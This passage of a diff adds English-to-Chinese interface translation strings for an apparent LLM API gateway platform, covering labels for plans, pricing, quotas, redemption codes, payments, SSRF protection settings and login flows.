+    "Personal use mode": "个人使用模式",
+    "Pick a date": "选择日期",
+    "Ping Interval (seconds)": "Ping 间隔（秒）",
+    "Plan": "套餐",
+    "Plan Name": "套餐名称",
+    "Plan Subtitle": "套餐副标题",
+    "Plan Title": "套餐标题",
+    "Planned maintenance on Friday at 22:00 UTC...": "计划于周五 22:00 UTC 进行维护...",
+    "Platform": "平台",
+    "Playground": "游乐场",
+    "Playground and chat functions": "操练场和聊天功能",
+    "Playground experiments and live conversations.": "Playground 实验和实时对话。",
+    "Please agree to the legal terms first": "请先同意法律条款",
+    "Please complete the security check to continue.": "请完成安全验证以继续。",
+    "Please confirm that you understand the consequences": "请确认您了解后果",
+    "Please enable io.net model deployment service and configure an API key in System Settings.": "请先在系统设置中启用 io.net 模型部署服务，并配置 API Key。",
+    "Please enable Two-factor Authentication or Passkey before proceeding": "请先启用双因素认证或通行密钥",
+    "Please enter a name": "请输入名称",
+    "Please enter a new password": "请输入新密码",
+    "Please enter a redemption code": "请输入兑换码",
+    "Please enter a valid duration": "请输入有效持续时间",
+    "Please enter a valid email address": "请输入有效的电子邮件地址",
+    "Please enter a valid number": "请输入有效的数值",
+    "Please enter a Well-Known URL first": "请先输入 Well-Known URL",
+    "Please enter amount": "请输入金额",
+    "Please enter an administrator username": "请输入管理员用户名",
+    "Please enter API key first": "请先输入 API 密钥",
+    "Please enter chat client name": "请输入聊天客户端名称",
+    "Please enter email and verification code": "请输入邮箱和验证码",
+    "Please enter keys first": "请先输入密钥",
+    "Please enter model name": "请输入模型名称",
+    "Please enter plan title": "请输入套餐标题",
+    "Please enter the authentication code.": "请输入验证码。",
+    "Please enter the URL": "请输入 URL",
+    "Please enter the verification code": "请输入验证码",
+    "Please enter your current password": "请输入当前密码",
+    "Please enter your email": "请输入您的电子邮件",
+    "Please enter your email first": "请先输入您的邮箱",
+    "Please enter your verification code": "请输入您的验证码",
+    "Please enter your verification code or backup code": "请输入您的验证码或备用码",
+    "Please fix JSON errors before saving": "请先修复 JSON 错误再保存",
+    "Please log in with the appropriate credentials": "请使用适当的凭据登录",
+    "Please manually copy and open the authorization link": "请手动复制并打开授权链接",
+    "Please select a container": "请选择一个容器",
+    "Please select a payment method": "请选择支付方式",
+    "Please select a primary model": "请选择主模型",
+    "Please select a subscription plan": "请选择订阅套餐",
+    "Please select at least one channel": "请选择至少一个渠道",
+    "Please select at least one model": "请选择至少一个模型",
+    "Please select items to delete": "请选择要删除的项目",
+    "Please Select user groups that can access this channel.": "请选择可以访问此渠道的用户组。",
+    "Please set Ollama API Base URL first": "请先设置 Ollama API Base URL",
+    "Please try again later.": "请稍后再试。",
+    "Please upload key file(s)": "请上传密钥文件",
+    "Please wait a moment, human check is initializing...": "请稍等，人机验证正在初始化...",
+    "Policy JSON": "策略 JSON",
+    "Polling": "轮询",
+    "Polling mode requires Redis and memory cache, otherwise performance will be significantly degraded": "轮询模式需要 Redis 和内存缓存，否则性能将显著下降",
+    "Poor": "差",
+    "Port": "端口",
+    "Port must be a positive integer": "端口必须为正整数",
+    "Post Delta": "结算差额",
+    "PostgreSQL detected": "检测到 PostgreSQL",
+    "PostgreSQL offers advanced reliability and data integrity for production workloads.": "PostgreSQL 为生产工作负载提供高级可靠性和数据完整性。",
+    "PostgreSQL offers strong reliability guarantees. Double check your maintenance window and retention policies before going live.": "PostgreSQL 提供强大的可靠性保证。在上线之前，请仔细检查您的维护窗口和保留策略。",
+    "Powerful API Management Platform": "强大的 API 管理平台",
+    "Pre-Consume for Free Models": "免费模型预消耗",
+    "Pre-consumed": "预扣费",
+    "Pre-Consumed Quota": "预消耗配额",
+    "Preference saved as {{pref}}, but no active subscription. Wallet will be used automatically.": "已保存偏好为{{pref}}，当前无生效订阅，将自动使用钱包",
+    "Preferences": "偏好设置",
+    "Prefill Group Management": "预填充分组管理",
+    "Prefill Groups": "预填充分组",
+    "Prefill groups help you keep complex configurations in sync.": "预填充分组可帮助您保持复杂配置的同步。",
+    "Prefix": "前缀",
+    "Prefix Match": "前缀匹配",
+    "Prefix used when displaying prices": "显示价格时使用的前缀",
+    "Premium chat models": "高级聊天模型",
+    "Preparing chat keys…": "正在准备聊天密钥…",
+    "Preparing your chat link, please try again in a moment.": "正在准备您的聊天链接，请稍后再试。",
+    "Preparing your chat link…": "正在准备您的聊天链接...",
+    "Prepend": "前置",
+    "Preset recharge amounts (JSON array)": "预设充值金额（JSON 数组）",
+    "Preset recharge amounts displayed to users": "向用户显示的预设充值金额",
+    "Preset Template": "预设模板",
+    "Preset templates": "预设模板",
+    "Press Enter or comma to add tags": "按 Enter 或逗号添加标签",
+    "Press Enter to use \"{{value}}\"": "按 Enter 使用「{{value}}」",
+    "Prevent server-side request forgery attacks": "防止服务器端请求伪造攻击",
+    "Prevent server-side request forgery attacks by controlling outbound requests.": "通过控制出站请求来防止服务器端请求伪造攻击。",
+    "Preview": "预览",
+    "Previous": "上一步",
+    "Previous branch": "上一分支",
+    "Previous page": "上一页",
+    "Price": "价格",
+    "Price ($/1K calls)": "价格（$/1K 次）",
+    "Price (local currency / USD)": "价格（本地货币/美元）",
+    "Price display": "价格显示",
+    "Price display mode": "价格显示模式",
+    "Price estimation": "价格预估",
+    "Price estimation description": "完成硬件类型、部署位置、副本数量等设置后，价格将自动计算。",
+    "Price ID": "价格 ID",
+    "Price mode (USD per 1M tokens)": "价格模式（每 100 万个 token 的美元价格）",
+    "price_xxx": "price_xxx",
+    "Price:": "价格：",
+    "Price: High to Low": "价格：从高到低",
+    "Price: Low to High": "价格：从低到高",
+    "Prices shown per": "价格显示单位",
+    "Prices synced successfully": "价格同步成功",
+    "Prices vary by usage tier and request conditions": "价格根据用量档位和请求条件动态调整",
+    "Pricing": "定价",
+    "Pricing & Display": "定价与显示",
+    "Pricing by Group": "按分组定价",
+    "Pricing Configuration": "定价配置",
+    "Pricing mode": "定价模式",
+    "Pricing Ratios": "定价比例",
+    "Pricing Type": "定价类型",
+    "Primary Model": "主模型",
+    "Prioritize reusing the last successful channel based on keys extracted from request context (sticky routing)": "基于请求上下文提取的 Key，优先复用上一次成功的渠道（粘滞选路）",
+    "Priority": "优先级",
+    "Priority (Default)": "优先级（默认）",
+    "Priority level from 0 (lowest) to 10 (highest), default is 5": "优先级，从 0（最低）到 10（最高），默认为 5",
+    "Priority order for automatic group assignment. New tokens rotate through this list.": "自动分组分配的优先级顺序。新 token 将按此列表轮换。",
+    "Privacy Policy": "隐私政策",
+    "Private Deployment URL": "私有部署 URL",
+    "Processing OAuth response...": "正在处理 OAuth 响应...",
+    "Processing...": "处理中...",
+    "Product": "产品",
+    "Product ID": "产品 ID",
+    "Product ID is required": "产品 ID 为必填项",
+    "Product Name": "产品名称",
+    "Products": "产品",
+    "Professional team providing 24/7 technical support": "专业团队提供 24/7 技术支持",
+    "Profile": "个人资料",
+    "Profile updated successfully": "个人资料更新成功",
+    "Progress": "进度",
+    "Project": "项目",
+    "Promote": "提升",
+    "Promotion codes": "促销代码",
+    "Prompt": "提示",
+    "Prompt (EN)": "提示词 (英文)",
+    "Prompt cache ratio": "提示缓存倍率",
+    "Prompt Caching": "提示词缓存",
+    "Prompt Details": "提示词详情",
+    "Prompt price ($/1M tokens)": "提示词价格（美元/100 万 token）",
+    "Protect login and registration with Cloudflare Turnstile": "使用 Cloudflare Turnstile 保护登录和注册",
+    "Provide a JSON object where each key maps to an endpoint definition.": "提供一个 JSON 对象，其中每个键映射到一个端点定义。",
+    "Provide a valid URL starting with http:// or https://": "请提供以 http:// 或 https:// 开头的有效 URL",
+    "Provide Markdown, HTML, or an external URL for the privacy policy": "提供 Markdown、HTML 或外部 URL 作为隐私政策",
+    "Provide Markdown, HTML, or an external URL for the user agreement": "提供 Markdown、HTML 或外部 URL 作为用户协议",
+    "Provide per-category safety overrides as JSON. Use `default` for fallback values.": "以 JSON 格式提供按类别划分的安全覆盖。使用 `default` 作为回退值。",
+    "Provide per-model header overrides as JSON. Useful for enabling beta features such as expanded context windows.": "以 JSON 格式提供按模型划分的标头覆盖。可用于启用测试功能，例如扩展上下文窗口。",
+    "Provider": "提供商",
+    "Provider created successfully": "提供商创建成功",
+    "Provider deleted successfully": "提供商删除成功",
+    "Provider Name": "提供商名称",
+    "Provider type (OpenAI, Anthropic, etc.)": "提供商类型 (OpenAI、Anthropic 等)",
+    "Provider updated successfully": "提供商更新成功",
+    "Proxy Address": "代理地址",
+    "Publish Date": "发布日期",
+    "Published": "已发布",
+    "Published:": "已发布：",
+    "Pull": "拉取",
+    "Pull model": "拉取模型",
+    "Pulling...": "拉取中...",
+    "Purchase a plan to enjoy model benefits": "购买套餐后即可享受模型权益",
+    "Purchase here": "在此购买",
+    "Purchase Limit": "限购",
+    "Purchase limit reached": "已达到购买上限",
+    "Purchase Subscription": "购买订阅套餐",
+    "QR Code Image URL": "二维码图片 URL",
+    "QR code is not configured. Please contact support.": "二维码未配置。请联系支持人员。",
+    "Quantity": "数量",
+    "QuantumNous": "QuantumNous",
+    "Query Balance": "查询余额",
+    "Query Param": "请求参数",
+    "Querying...": "正在查询...",
+    "Question": "问题",
+    "Queued": "排队中",
+    "Quick insert common payment methods": "快速插入常用支付方式",
+    "Quick Range": "快速范围",
+    "Quick Setup from Preset": "从预设快速设置",
+    "Quota": "额度",
+    "Quota ({{currency}})": "额度 ({{currency}})",
+    "Quota adjusted successfully": "调整额度成功",
+    "Quota consumed before charging users": "向用户收费前消耗的配额",
+    "Quota Distribution": "消耗分布",
+    "Quota given to invited users": "授予被邀请用户的配额",
+    "Quota given to users who invite others": "授予邀请其他用户的配额",
+    "Quota must be a positive number": "配额必须是正数",
+    "Quota Per Unit": "每单位配额",
+    "Quota reminder (tokens)": "配额提醒（token）",
+    "Quota Reset": "额度重置",
+    "Quota Settings": "额度设置",
+    "Quota Types": "配额类型",
+    "Quota Warning Threshold": "配额警告阈值",
+    "Quota:": "Quota:",
+    "Random": "随机",
+    "Randomly select a key from the pool for each request": "每次请求从池中随机选择一个密钥",
+    "Rate Limit Windows": "速率限制窗口",
+    "Rate Limiting": "速率限制",
+    "Ratio": "倍率",
+    "Ratio applied to audio completions for streaming models.": "应用于流式模型音频完成的比例。",
+    "Ratio applied to audio inputs where supported by the upstream model.": "应用于上游模型支持的音频输入的比例。",
+    "Ratio applied when creating cache entries for supported models.": "为支持的模型创建缓存条目时应用的倍率。",
+    "Ratio mode": "比例模式",
+    "Ratio Type": "比率类型",
+    "Ratio: {{value}}": "倍率：{{value}}",
+    "Ratios synced successfully": "比率同步成功",
+    "Raw JSON": "原始 JSON",
+    "Raw Quota": "原生额度",
+    "Re-enable on success": "成功后重新启用",
+    "Re-login": "重新登录",
+    "Ready to initialize": "准备初始化",
+    "Ready to simplify": "准备好简化",
+    "Real exchange rate between USD and your payment gateway currency": "美元与您的支付网关货币之间的实际汇率",
+    "Reason": "原因",
+    "Reason:": "原因：",
+    "Reasoning": "推理",
+    "Reasoning Effort": "推理强度",
+    "Receive Upstream Model Update Notifications": "接收上游模型更新通知",
+    "Received": "获得",
+    "Recharge": "充值",
+    "Recharge Amount": "充值金额",
+    "Recharge Amount (USD)": "充值金额 (USD)",
+    "Recommended": "推荐",
+    "Recommended to keep this high to avoid upstream throttling.": "建议保持此值较高，以避免上游限流。",
+    "Record IP Address": "记录 IP 地址",
+    "Record quota usage": "记录配额使用量",
+    "Redeem": "兑换额度",
+    "Redeem codes": "兑换码",
+    "Redeemed By": "兑换人",
+    "Redeemed:": "已兑换：",
+    "redemption code": "兑换码",
+    "Redemption Code": "兑换码",
+    "Redemption code deleted successfully": "兑换码删除成功",
+    "Redemption code disabled successfully": "兑换码已禁用",
+    "Redemption code enabled successfully": "兑换码已启用",
+    "Redemption code updated successfully": "兑换码更新成功",
+    "Redemption code(s) created successfully": "兑换码创建成功",
+    "Redemption Codes": "兑换码",
+    "redemption codes.": "兑换码。",
+    "Redemption failed": "兑换失败",
+    "Redemption successful! Added: {{quota}}": "兑换成功！已添加：{{quota}}",
+    "Redirecting to chat page...": "正在跳转到聊天页面...",
+    "Redirecting to Creem checkout...": "正在重定向到 Creem 结账...",
+    "Redirecting to GitHub...": "正在跳转 GitHub...",
+    "Redirecting to payment page...": "正在重定向到支付页面...",
+    "Reference Video": "参照生视频",
+    "Referral link:": "推荐链接：",
+    "Referral Program": "推荐计划",
+    "Refresh": "刷新",
+    "Refresh Cache": "刷新缓存",
+    "Refresh credential": "刷新凭据",
+    "Refresh failed": "刷新失败",
+    "Refresh interval (minutes)": "刷新间隔 (分钟)",
+    "Refresh Stats": "刷新统计",
+    "Refreshing...": "刷新中...",
+    "Refund": "退款",
+    "Refund Details": "退款详情",
+    "Regenerate": "重新生成",
+    "Regenerate Backup Codes": "重新生成备用代码",
+    "Regex Replace": "正则替换",
+    "Register Passkey": "注册 Passkey",
+    "Registration Enabled": "注册已启用",
+    "Registry (optional)": "注册表 (可选)",
+    "Registry secret": "注册表密钥",
+    "Registry username": "注册表用户名",
+    "Reject Reason": "拒绝原因",
+    "Release details": "版本详情",
+    "Relying Party Display Name": "依赖方显示名称",
+    "Relying Party ID": "依赖方 ID",
+    "Remaining": "剩余",
+    "Remaining quota": "剩余配额",
+    "Remaining Quota ({{currency}})": "剩余额度 ({{currency}})",
+    "Remaining quota units": "剩余配额单位",
+    "Remaining:": "剩余：",
+    "Remark": "备注",
+    "Remove": "移除",
+    "Remove ${{amount}}": "移除 ${{amount}}",
+    "Remove all log entries created before the selected timestamp.": "移除所选时间戳之前创建的所有日志条目。",
+    "Remove attachment": "移除附件",
+    "Remove condition": "移除条件",
+    "Remove Duplicates": "移除重复项",
+    "Remove filter": "移除筛选",
+    "Remove functionResponse.id field": "移除 functionResponse.id 字段",
+    "Remove Models": "删除模型",
+    "Remove Passkey": "解绑 Passkey",
+    "Remove Passkey?": "移除通行密钥？",
+    "Remove rule group": "移除规则组",
+    "Remove tier": "移除档位",
+    "Removed": "已移除",
+    "Removed {{removed}} duplicate key(s). Before: {{before}}, After: {{after}}": "已移除 {{removed}} 个重复密钥。移除前：{{before}}，移除后：{{after}}",
+    "Removed Models ({{count}})": "已移除模型 ({{count}})",
+    "Removes Midjourney flags such as --fast, --relax, and --turbo from user prompts.": "从用户提示中移除 Midjourney 参数，如 --fast、--relax 和 --turbo。",
+    "Removing Passkey will require you to sign in with your password next time. You can re-register anytime.": "移除通行密钥后，您下次将需要使用密码登录。您可以随时重新注册。",
+    "Rename": "重命名",
+    "Rename deployment": "重命名部署",
+    "Rename failed": "重命名失败",
+    "Renamed successfully": "重命名成功",
+    "Repeat the administrator password": "重复输入管理员密码",
+    "Replace": "替换",
+    "Replace all existing keys": "替换所有现有密钥",
+    "Replace channel models": "覆盖渠道模型",
+    "Replace mode: Will completely replace all existing keys": "替换模式：将完全替换所有现有键",
+    "replaced": "已替换",
+    "Replacement Model": "替换模型",
+    "Replica count": "副本数",
+    "Replicate": "Replicate",
+    "request": "请求",
+    "Request": "请求",
+    "Request Body Disk Cache": "请求体磁盘缓存",
+    "Request Body Memory Cache": "请求体内存缓存",
+    "Request body pass-through is enabled. The request body will be sent directly to the upstream without any conversion.": "请求体透传已启用。请求体将直接发送到上游，不进行任何转换。",
+    "Request conversion": "请求转换",
+    "Request Conversion": "请求转换",
+    "Request Count": "请求计数",
+    "Request failed": "请求失败",
+    "Request flow": "请求流",
+    "Request Header Overrides": "请求头覆盖",
+    "Request ID": "请求 ID",
+    "Request Limits": "请求限制",
+    "Request Model": "请求模型",
+    "Request Model:": "请求模型：",
+    "Request rule pricing": "请求规则计费",
+    "Request timed out, please refresh and restart GitHub login": "请求超时，请刷新页面后重新发起 GitHub 登录",
+    "Request-based": "含请求条件",
+    "Requests per minute": "每分钟请求数",
+    "requests served": "服务请求数",
+    "Requests will be forwarded to this worker. Trailing slashes are removed automatically.": "请求将被转发到此 Worker。末尾的斜杠会自动移除。",
+    "Requests:": "请求：",
+    "Require email verification for new accounts": "要求新账户验证邮箱",
+    "Require job success before follow-up actions": "在后续操作前要求任务成功",
+    "Require login to view models": "要求登录才能查看模型",
+    "Required": "必需",
+    "Required events:": "必需事件：",
+    "Required to expose Midjourney-style image generation to end users.": "需要向终端用户开放 Midjourney 风格的图像生成。",
+    "Rerank": "重新排序",
+    "Reroll": "重绘",
+    "Resend ({{seconds}}s)": "重新发送 ({{seconds}}s)",
+    "Reset": "重置",
+    "Reset 2FA": "重置 2FA",
+    "Reset all model ratios?": "重置所有模型比例吗？",
+    "Reset all settings to default values": "将所有设置重置为默认值",
+    "Reset at:": "重置于：",
+    "Reset balance and used quota": "重置余额和已用配额",
+    "Reset Cycle": "重置周期",
+    "Reset email sent, please check your inbox": "重置邮件已发送，请检查您的收件箱",
+    "Reset failed": "重置失败",
+    "Reset Passkey": "重置 Passkey",
+    "Reset password": "重置密码",
+    "Reset Period": "重置周期",
+    "Reset ratios": "重置比例",
+    "Reset Stats": "重置统计",
+    "Reset to default": "重置为默认",
+    "Reset to Default": "重置为默认",
+    "Reset to default configuration": "已重置为默认配置",
+    "Reset Two-Factor Authentication": "重置 2FA",
+    "Resets in:": "将于以下时间重置：",
+    "Resolve Conflicts": "解决冲突",
+    "Resource Configuration": "资源配置",
+    "Response": "响应",
+    "Response Time": "响应时间",
+    "Responses API Version": "响应 API 版本",
+    "Restore defaults": "恢复默认",
+    "Restrict user model request frequency (may impact high concurrency performance)": "限制用户模型请求频率（可能会影响高并发性能）",
+    "Retain last N days": "保留最近N天",
+    "Retain last N files": "保留最近 N 个文件",
+    "Retry": "重试",
+    "Retry Chain": "重试链路",
+    "Retry Times": "重试次数",
+    "Return Error": "返回错误",
+    "Return to dashboard": "返回仪表盘",
+    "Reveal API key": "显示 API 密钥",
+    "Reveal key": "显示密钥",
+    "Revenue": "收入",
+    "Review & initialize": "审核并初始化",
+    "Review current version and fetch release notes.": "查看当前版本并获取发布说明。",
+    "Review your payment details": "查看您的付款详情",
+    "Review your purchase details before proceeding.": "在继续之前，请审阅您的购买详情。",
+    "Rewards will be added directly to your balance": "奖励将直接添加到您的余额",
+    "Rewrite callback URLs to the local server": "将回调 URL 重写到本地服务器",
+    "Role": "角色",
+    "Root": "根",
+    "Route": "路由",
+    "Route Description": "路由描述",
+    "Route is required": "路由为必填项",
+    "Rows per page": "每页行数",
+    "RPM": "RPM",
+    "RSA Private Key (Production)": "RSA 私钥（生产）",
+    "RSA Private Key (Sandbox)": "RSA 私钥（沙盒）",
+    "Rule": "规则",
+    "Rule group": "规则组",
+    "rules": "规则",
+    "Rules JSON": "规则 JSON",
+    "Rules JSON must be an array": "规则 JSON 必须是数组",
+    "Run GC": "执行 GC",
+    "Run tests for the selected models": "运行所选模型的测试",
+    "Running": "运行中",
+    "s": "秒",
+    "Safety Settings": "安全设置",
+    "Same as Local": "与本地相同",
+    "Sandbox mode": "沙盒模式",
+    "Save": "保存",
+    "Save all settings": "保存所有设置",
+    "Save Backup Codes": "保存备份代码",
+    "Save changes": "保存更改",
+    "Save Changes": "保存更改",
+    "Save chat settings": "保存聊天设置",
+    "Save check-in settings": "保存签到设置",
+    "Save Creem settings": "保存 Creem 设置",
+    "Save drawing settings": "保存绘图设置",
+    "Save Epay settings": "保存 Epay 设置",
+    "Save failed": "保存失败",
+    "Save failed, please retry": "保存失败，请重试",
+    "Save general settings": "保存通用设置",
+    "Save group ratios": "保存分组比率",
+    "Save io.net settings": "保存 io.net 设置",
+    "Save log settings": "保存日志设置",
+    "Save model ratios": "保存模型比率",
+    "Save Models": "保存模型",
+    "Save monitoring rules": "保存监控规则",
+    "Save navigation": "保存导航",
+    "Save notice": "保存通知",
+    "Save rate limits": "保存速率限制",
+    "Save sensitive words": "保存敏感词",
+    "Save Settings": "保存设置",
+    "Save sidebar modules": "保存侧边栏模块",
+    "Save SMTP settings": "保存 SMTP 设置",
+    "Save SSRF settings": "保存 SSRF 设置",
+    "Save Stripe settings": "保存 Stripe 设置",
+    "Save these backup codes in a safe place. Each code can only be used once.": "将这些备份代码保存在安全的地方。每个代码只能使用一次。",
+    "Save these codes in a safe place. Each code can only be used once.": "将这些代码保存在安全的地方。每个代码只能使用一次。",
+    "Save tool prices": "保存工具价格",
+    "Save Waffo Pancake settings": "保存 Waffo Pancake 设置",
+    "Save Worker settings": "保存 Worker 设置",
+    "Saved successfully": "保存成功",
+    "Saving...": "正在保存...",
+    "Scan QR Code": "扫描二维码",
+    "Scan the QR code to follow the official account and reply with “验证码” to receive your verification code.": "扫描二维码关注官方账号，回复“验证码”以接收您的验证码。",
+    "Scan the QR code with WeChat to bind your account": "使用微信扫描二维码绑定您的账户",
+    "Scan this QR code with your authenticator app (Google Authenticator, Microsoft Authenticator, etc.)": "使用您的身份验证器应用（Google Authenticator、Microsoft Authenticator 等）扫描此二维码",
+    "Scheduled channel tests": "定期渠道测试",
+    "Scope": "作用域",
+    "Scopes": "作用域",
+    "Search": "搜索",
+    "Search by name or URL...": "按名称或 URL 搜索...",
+    "Search by order number...": "按订单号搜索...",
+    "Search chat presets...": "搜索聊天预设...",
+    "Search colors...": "搜索颜色...",
+    "Search conflicting models or fields": "搜索冲突的模型或字段",
+    "Search deployments...": "搜索部署...",
+    "Search feature in development": "搜索功能开发中",
+    "Search group names...": "搜索分组名称...",
+    "Search groups...": "搜索分组...",
+    "Search missing models": "搜索缺失的模型",
+    "Search model name...": "搜索模型名称...",
+    "Search models": "搜索模型",
+    "Search models or fields...": "搜索模型或字段...",
+    "Search models...": "搜索模型...",
+    "Search payment methods...": "搜索付款方式...",
+    "Search payment types...": "搜索支付类型...",
+    "Search products...": "搜索产品...",
+    "Search tags...": "搜索标签...",
+    "Search vendors...": "搜索供应商...",
+    "Search...": "搜索...",
+    "seconds": "秒",
+    "Secret env (JSON object)": "密钥环境 (JSON 对象)",
+    "Secret environment variables (JSON)": "密钥环境变量 (JSON)",
+    "Secret Key": "密钥",
+    "Secure & Reliable": "安全可靠",
+    "Security": "安全",
+    "Security Check": "安全验证",
+    "Security verification": "安全验证",
+    "Select": "选择",
+    "Select a color": "选择颜色",
+    "Select a group": "选择一个分组",
+    "Select a group type": "选择分组类型",
+    "Select a preset...": "选择一个预设...",
+    "Select a role": "选择角色",
+    "Select a timestamp before clearing logs.": "清除日志前请选择一个时间戳。",
+    "Select a usage mode to continue": "选择使用模式以继续",
+    "Select a verification method first": "请先选择验证方式",
+    "Select all": "全选",
+    "Select all (filtered)": "全选（筛选结果）",
+    "Select all models": "选择所有模型",
+    "Select All Visible": "全选当前",
+    "Select an operation mode and enter the amount": "选择操作模式并输入金额",
+    "Select announcement type": "选择公告类型",
+    "Select at least one field to overwrite.": "请选择至少一个要覆盖的字段。",
+    "Select channel type": "选择渠道类型",
+    "Select currency": "选择货币",
+    "Select date": "选择日期",
+    "Select display mode": "选择显示模式",
+    "Select end time": "选择结束时间",
+    "Select from presets or type custom identifier.": "从预设中选择或输入自定义标识符。",
+    "Select granularity": "选择粒度",
+    "Select groups (leave empty to keep current)": "选择分组（留空以保持当前设置）",
+    "Select items...": "选择项目...",
+    "Select key format": "请选择密钥格式",
+    "Select Language": "选择语言",
+    "Select layout style": "选择布局样式",
+    "Select locations": "选择位置",
+    "Select Model": "选择模型",
+    "Select models (empty for allow all)": "选择模型（留空表示允许所有）",
+    "Select models and apply to channel models list.": "选择模型并应用到渠道模型列表。",
+    "Select models or add custom ones": "选择模型或添加自定义模型",
+    "Select models to process. Unselected \"add\" models will be ignored.": "勾选要处理的模型，未勾选的「新增」模型将作为忽略处理。",
+    "Select models to run batch tests.": "选择要运行批量测试的模型。",
+    "Select or enter color value": "选择或输入颜色值",
+    "Select or enter model name": "选择或输入模型名称",
+    "Select or enter payment type": "选择或输入支付类型",
+    "Select payment method": "选择支付方式",
+    "Select preset or enter custom CSS color value.": "选择预设或输入自定义 CSS 颜色值。",
+    "Select publish date": "选择发布日期",
+    "Select requirement": "选择要求",
+    "Select row": "选择行",
+    "Select sidebar style": "选择侧边栏样式",
+    "Select site direction": "选择站点方向",
+    "Select start time": "选择开始时间",
+    "Select subscription plan": "选择订阅套餐",
+    "Select Sync Channels": "选择同步渠道",
+    "Select sync channels to compare prices": "选择同步渠道以对比价格",
+    "Select sync channels to compare ratios": "选择同步渠道以比较比率",
+    "Select Sync Source": "选择同步源",
+    "Select the API endpoint region": "选择 API 终端节点区域",
+    "Select the fields you want to overwrite with upstream data. Unselected fields keep their local values.": "选择要使用上游数据覆盖的字段。未选择的字段将保留其本地值。",
+    "Select theme preference": "选择主题偏好",
+    "Select time granularity": "选择时间粒度",
+    "Select vendor": "选择供应商",
+    "Selectable groups": "可选分组",
+    "selected": "已选择",
+    "selected channel(s). Leave empty to remove tag.": "选定的渠道。留空以移除标签。",
+    "Selected conflicts were overwritten successfully.": "选中的冲突已成功覆盖。",
+    "Self-Use Mode": "自用模式",
+    "Send": "发送",
+    "Send code": "发送验证码",
+    "Send email alerts when a user falls below this quota": "当用户低于此配额时发送电子邮件警报",
+    "Sending...": "发送中...",
+    "Sensitive Words": "敏感词",
+    "Sent the API key to FluentRead.": "API 密钥已发送至 FluentRead。",
+    "Serve multiple users or teams with billing and quota control.": "为多个用户或团队提供计费和配额管理服务。",
+    "Server Address": "服务器地址",
+    "Server IP": "服务器 IP",
+    "Server Log Management": "服务器日志管理",
+    "Server logging is not enabled (log directory not configured)": "服务器日志功能未启用（未配置日志目录）",
+    "Server Token": "服务器 Token",
+    "Service account JSON file(s)": "服务账号 JSON 文件",
+    "Session expired!": "会话已过期！",
+    "Session expired?": "会话已过期？",
+    "Set": "设置",
+    "Set a discount rate for a specific recharge amount threshold.": "为特定的充值金额阈值设置折扣率。",
+    "Set a secure password (min. 8 characters)": "设置安全密码（最少 8 个字符）",
+    "Set a tag for": "设置标签为",
+    "Set filters to customize your dashboard statistics and charts.": "设置筛选器以自定义您的仪表板统计数据和图表。",
+    "Set filters to narrow down your log search results.": "设置筛选器以缩小日志搜索结果范围。",
+    "Set API key access restrictions": "设置令牌的访问限制",
+    "Set API key basic information": "设置令牌的基本信息",
+    "Set Header": "设请求头",
+    "Set Project to io.cloud when creating/selecting key": "创建/选择密钥时将项目设置为 io.cloud",
+    "Set quota amount and limits": "设置令牌可用额度和数量",
+    "Set Tag": "设置标签",
+    "Set tag for selected channels": "为选定的渠道设置标签",
+    "Set the user's role (cannot be Root)": "设置用户角色（不能是 Root）",
+    "Setting saved": "设置已保存",
+    "Setting up 2FA...": "正在设置 2FA...",
+    "Setting updated successfully": "设置更新成功",
+    "Settings": "设置",
+    "Settings & Preferences": "设置与偏好",
+    "Settings updated successfully": "设置更新成功",
+    "Setup Instructions": "设置说明",
+    "Setup Two-Factor Authentication": "设置双重身份验证",
+    "Share your link and earn rewards": "分享您的链接并赚取奖励",
+    "Shared configuration for all payment gateways": "所有支付网关的共享配置",
+    "Shorten": "缩词",
+    "Show": "显示",
+    "Show All": "显示全部",
+    "Show all providers including unbound": "显示所有提供商（包括未绑定）",
+    "Show only bound providers": "仅显示已绑定的提供商",
+    "Show prices in currency instead of quota.": "以货币而非配额显示价格。",
+    "Show token usage statistics in the UI": "在用户界面中显示令牌使用统计信息",
+    "Showcase core capabilities with demo credentials and limited access.": "使用演示凭据和有限访问权限展示核心功能。",
+    "Showing": "显示第",
+    "showing •": "显示 •",
+    "Sidebar": "侧边栏",
+    "Sidebar collapsed by default for new users": "默认情况下为新用户折叠侧边栏",
+    "Sidebar modules": "侧边栏模块",
+    "Sidebar Personal Settings": "左侧边栏个人设置",
+    "Sign in": "登录",
+    "Sign In": "登录",
+    "Sign in with Passkey": "使用 Passkey 登录",
+    "Sign out": "登出",
+    "Sign up": "注册",
+    "Signed in": "已登录",
+    "Signed in successfully!": "登录成功！",
+    "Signed in via WeChat": "通过微信登录",
+    "Signed in with Passkey": "使用 Passkey 登录",
+    "Signed out": "已登出",
+    "Signing you in with {{provider}}": "正在使用 {{provider}} 登录",
+    "SiliconFlow": "SiliconFlow",
+    "Single Key": "单密钥",
+    "Site Key": "站点密钥",
+    "Size:": "大小：",
+    "sk_xxx or rk_xxx": "sk_xxx 或 rk_xxx",
+    "Skip retry on failure": "失败后不重试",
+    "Skip to Main": "跳到主内容",
+    "Slug": "标识符",
+    "Slug can only contain letters, numbers, hyphens, and underscores": "Slug 只能包含字母、数字、连字符和下划线",
+    "Slug is required": "Slug 不能为空",
+    "Slug must be less than 100 characters": "Slug 不能超过 100 个字符",
+    "Smallest USD amount users can recharge (Epay)": "用户可以充值的最小美元金额 (Epay)",
+    "SMTP Email": "SMTP 邮箱",
+    "SMTP Host": "SMTP 主机",
+    "smtp.example.com": "smtp.example.com",
+    "socks5://user:pass@host:port": "socks5://user:pass@host:port",
+    "Soft Errors": "软错误",
+    "Some channels failed: {{errorMsg}}": "部分渠道失败：{{errorMsg}}",
+    "Something went wrong!": "出现错误！",
+    "Sonnet Model": "Sonnet 模型",
+    "Sora": "Sora",
+    "Sort": "排序",
+    "Sort by ID": "使用 ID 排序",
+    "Sort Order": "排序",
+    "Source": "来源",
+    "sources": "来源",
+    "Space-separated OAuth scopes": "以空格分隔的OAuth作用域",
+    "Spark model version, e.g., v2.1 (version number in API URL)": "Spark 模型版本，例如 v2.1（API URL 中的版本号）",
+    "Special usable group rules": "特殊可用分组规则",
+    "SQLite stores all data in a single file. Make sure that file is persisted when running in containers.": "SQLite 将所有数据存储在单个文件中。在容器中运行时请确保该文件已持久化。",
+    "SSRF Protection": "SSRF 保护",
+    "Standard": "标准",
+    "Start": "开始",
+    "Start a conversation to see messages here": "开始对话以在此处查看消息",
+    "Start for free with generous limits. No credit card required.": "免费开始使用，额度充足，无需绑定信用卡。",
+    "Start Time": "起始时间",
+    "Static page describing the platform.": "描述平台的静态页面。",
+    "Statistical count": "统计计数",
